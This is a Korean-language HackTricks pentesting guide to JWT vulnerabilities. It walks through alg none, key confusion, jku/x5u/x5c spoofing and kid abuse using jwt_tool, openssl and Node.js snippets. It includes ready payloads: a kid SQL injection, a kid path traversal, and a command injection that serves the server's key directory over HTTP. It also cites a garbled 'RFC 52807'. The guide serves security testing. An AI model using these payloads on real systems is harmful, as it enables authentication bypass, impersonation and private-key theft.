hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md
2024-02-10 21:30:13 +00:00

288 lines
19 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JWT 취약점 (Json Web Tokens)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
![](<../.gitbook/assets/image (638) (3).png>)
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 최대 **$100,000**의 바운티를 받으세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
**이 게시물의 일부는 다음 멋진 게시물을 기반으로 합니다:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTs를 펜테스트하는 훌륭한 도구의 저자** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **빠른 승리**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 초록색 줄이 나올 때까지 기다리세요.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
행운이 따르면 도구가 웹 애플리케이션이 JWT를 잘못 확인하는 경우를 찾을 수 있습니다:
![](<../.gitbook/assets/image (435).png>)
그런 다음 프록시에서 해당 요청을 검색하거나 jwt\_ 도구를 사용하여 해당 요청에 사용된 JWT를 덤프할 수 있습니다:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### 아무것도 수정하지 않고 데이터 조작하기
서명은 그대로 두고 데이터를 조작하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해 보세요.
#### **토큰이 확인되는지 확인하기**
JWT의 서명이 확인되는지 확인하려면:
- 오류 메시지가 지속적인 확인을 시도하고 있음을 나타냅니다. 자세한 오류 내용에 민감한 세부 정보가 포함되어 있는지 확인해야 합니다.
- 반환된 페이지의 변경도 확인을 나타냅니다.
- 변경이 없으면 확인이 이루어지지 않는 것을 나타냅니다. 이 경우 페이로드 클레임을 조작해 실험할 수 있습니다.
### 원본
토큰이 서버 측에서 생성되었는지 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 조사하는 것이 중요합니다.
- 클라이언트 측에서 처음으로 본 토큰은 키가 클라이언트 측 코드에 노출되었을 수 있으므로 추가 조사가 필요합니다.
- 서버 측에서 생성된 토큰은 안전한 프로세스를 나타냅니다.
### 기간
토큰이 24시간 이상 유지되는지 확인하세요... 아마도 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우 서버가 올바르게 처리하는지 확인하세요.
### HMAC 비밀번호 무차별 대입
[**이 페이지를 참조하세요.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### 알고리즘을 None으로 변경하기 (CVE-2015-9235)
사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거합니다.
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다 (요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
알고리즘 HS256은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
알고리즘 RS256은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다.
알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 확인합니다.
그런 다음, 공개 키를 사용하여 RS256을 HS256으로 변경하고 유효한 서명을 생성할 수 있습니다. 웹 서버의 인증서를 검색할 수 있습니다.
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### 헤더 내의 새로운 공개 키
공격자는 토큰의 헤더에 새로운 키를 삽입하고, 서버는 이 새로운 키를 사용하여 서명을 확인합니다 (CVE-2018-0114).
이 작업은 "JSON Web Tokens" Burp 확장 프로그램을 사용하여 수행할 수 있습니다.\
(요청을 Repeater로 보내고, JSON Web Token 탭에서 "CVE-2018-0114"를 선택한 후 요청을 보냅니다).
### JWKS 스푸핑
이 지침은 JWT 토큰의 보안을 평가하는 방법을 설명하며, 특히 "jku" 헤더 클레임을 사용하는 경우에 해당합니다. 이 클레임은 토큰의 검증에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일에 링크해야 합니다.
- **"jku" 헤더를 사용한 토큰 평가**:
- "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 연결되는지 확인합니다.
- 토큰의 "jku" 값을 수정하여 관리되는 웹 서비스로 리디렉션하도록 합니다. 이를 통해 트래픽을 관찰할 수 있습니다.
- **HTTP 상호작용 모니터링**:
- 지정한 URL로의 HTTP 요청을 관찰하면 서버가 제공한 링크에서 키를 가져오기 위한 시도를 확인할 수 있습니다.
- 이 프로세스에서 `jwt_tool`을 사용하는 경우, 테스트를 용이하게 하기 위해 `jwtconf.ini` 파일을 개인적인 JWKS 위치로 업데이트하는 것이 중요합니다.
- **`jwt_tool`을 위한 명령어**:
- 다음 명령어를 실행하여 `jwt_tool`을 사용하여 시나리오를 시뮬레이션합니다:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Kid 문제 개요
`kid`라는 선택적인 헤더 클레임은 특정 키를 식별하는 데 사용되며, 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰의 서명을 확인하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
#### "kid"을 통한 키 노출
`kid` 클레임이 헤더에 포함되어 있는 경우, 해당 파일 또는 해당 파일의 변형을 웹 디렉토리에서 검색하는 것이 좋습니다. 예를 들어, `"kid":"key/12345"`가 지정된 경우, 웹 루트에서 _/key/12345__/key/12345.pem_ 파일을 검색해야 합니다.
#### "kid"를 사용한 경로 조작
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있게 합니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
예측 가능한 내용을 가진 파일을 대상으로 하여 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성의 대칭 암호로 사용할 수 있습니다.
#### "kid"를 통한 SQL 인젝션
`kid` 클레임의 내용이 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, `kid` 페이로드를 수정하여 SQL 인젝션을 수행할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL 인젝션을 사용하는 예시 페이로드는 다음과 같습니다:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
이 변경으로 JWT 서명에 알려진 비밀 키인 `ATTACKER`가 사용됩니다.
#### "kid"를 통한 OS 인젝션
`kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 경우, 원격 코드 실행 (RCE) 취약점이 발생할 수 있습니다. `kid` 매개변수에 명령을 삽입함으로써 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u와 jku
#### jku
jku는 **JWK Set URL**을 의미합니다.\
토큰이 "jku" **헤더** 클레임을 사용하는 경우, 제공된 URL을 확인하세요. 이 URL은 토큰을 검증하기 위한 공개 키를 포함하는 JWKS 파일을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하세요.
먼저 새로운 개인 및 공개 키로 새 인증서를 생성해야 합니다.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키를 사용하고 매개 변수 jku를 생성된 인증서로 지정하여 새로운 JWT를 생성할 수 있습니다.** 유효한 jku 인증서를 생성하려면 원본을 다운로드하고 필요한 매개 변수를 변경할 수 있습니다.
공개 인증서에서 "e" 및 "n" 매개 변수를 얻을 수 있습니다.
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. X.509 (인증서 형식 표준) 공개 인증서가 PEM 형식으로 인코딩된 세트를 가리키는 URI입니다. 세트의 첫 번째 인증서는 이 JWT를 서명하는 데 사용되는 인증서여야 합니다. 이후의 인증서는 각각 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에서 정의되어 있습니다. 인증서를 전송하기 위해서는 전송 보안이 필요합니다.
이 헤더를 **제어 가능한 URL로 변경**하고 요청이 수신되는지 확인해보세요. 그 경우에는 JWT를 **변조**할 수 있습니다.
자신이 제어하는 인증서를 사용하여 새로운 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키를 사용하고 매개변수 x5u를 생성된 .crt 인증서로 지정하여 새로운 JWT를 생성할 수 있습니다.**
![](<../.gitbook/assets/image (439).png>)
또한 이러한 취약점을 **SSRF에 대해 악용**할 수도 있습니다.
#### x5c
이 매개변수에는 **base64로 인코딩된 인증서**가 포함될 수 있습니다:
![](<../.gitbook/assets/image (440).png>)
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조된 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정한다면 위조된 토큰은 서버에서 허용될 것입니다.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 내장된 공개 키 (CVE-2018-0114)
JWT에 다음 시나리오와 같이 내장된 공개 키가 있는 경우:
![](<../.gitbook/assets/image (438).png>)
다음 Node.js 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
새로운 개인/공개 키를 생성하고, 새로운 공개 키를 토큰 내에 포함시킨 후 이를 사용하여 새로운 서명을 생성하는 것이 가능합니다:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
다음 Node.js 스크립트를 사용하여 "n"과 "e"를 얻을 수 있습니다:
```javascript
const jwt = require('jsonwebtoken');
const token = 'YOUR_JWT_TOKEN_HERE';
const decodedToken = jwt.decode(token, { complete: true });
const n = decodedToken.header.n;
const e = decodedToken.header.e;
console.log('n:', n);
console.log('e:', e);
```
위의 스크립트를 사용하여 "n"과 "e" 값을 얻을 수 있습니다. `YOUR_JWT_TOKEN_HERE` 부분에는 대상 JWT 토큰을 입력해야 합니다. "n"과 "e" 값은 `console.log`를 통해 출력됩니다.
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### JTI (JWT ID)
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰이 재생되는 것을 방지할 수 있습니다.\
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우 이를 악용하여 **요청을 재생**할 수 있습니다 (각 성공적인 재생 사이에 10000개의 요청을 보내야 함).
### JWT 등록된 클레임
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### 기타 공격
**Cross-service Relay Attacks**
일부 웹 애플리케이션은 토큰의 생성과 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 생성한 토큰이 다른 클라이언트에서 허용된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰되면 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청에서 재생하여 허용되는지 확인해야 합니다.
- 토큰이 허용된다면 어떤 사용자의 계정을 위조할 수 있는 위험한 문제가 있을 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 법적인 모호성이 발생할 수 있으므로 더 넓은 테스트 권한이 필요할 수 있습니다.
**토큰의 만료 확인**
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되는 경우 신중한 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재생할 경우 해당 사용자를 위조할 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 사용하여 JWT 재생 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램에서 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용하는 경우, 토큰을 저장하고 만료 시간이 지난 후에 재생하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인 (UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
- 응용 프로그램이 토큰을 여전히 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 의미할 수 있으므로 보안 위험이 존재할 수 있습니다.
### 도구
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **Intigriti**에 **가입**하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**을 경험해보세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로에서 영웅까지 AWS 해킹을 배워보세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>